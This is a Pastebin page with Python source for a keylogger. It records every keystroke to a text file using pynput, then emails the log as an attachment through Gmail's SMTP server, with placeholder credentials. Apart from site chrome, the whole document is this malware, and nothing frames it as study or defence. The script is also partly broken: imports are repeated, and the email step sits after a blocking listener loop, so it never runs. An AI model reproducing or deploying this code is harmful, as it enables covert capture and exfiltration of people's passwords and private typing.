Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pynput.keyboard import Key, Listener
- import smtplib
- import logging
- import smtplib
- log_dir = ""
- logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
- def on_press(key):
- logging.info(str(key))
- with Listener(on_press=on_press) as listener:
- listener.join()
- import smtplib
- from email.mime.text import MIMEText
- from email.mime.multipart import MIMEMultipart
- from email.mime.base import MIMEBase
- from email import encoders
- email_user = 'EMAIL'
- email_password = 'PASSWORD'
- email_send = 'EMAIL'
- subject = 'logger'
- msg = MIMEMultipart()
- msg['From'] = email_user
- msg['To'] = email_send
- msg['Subject'] = subject
- body = 'your text'
- msg.attach(MIMEText(body,'plain'))
- filename='yourtext.txt'
- attachment =open(filename,'rb')
- part = MIMEBase('application','octet-stream')
- part.set_payload((attachment).read())
- encoders.encode_base64(part)
- part.add_header('Content-Disposition',"attachment; filename= "+filename)
- msg.attach(part)
- text = msg.as_string()
- server = smtplib.SMTP('smtp.gmail.com',587)
- server.starttls()
- server.login('EMAIL','PASSWORD')
- server.sendmail(email_user,email_send,text)
- server.quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement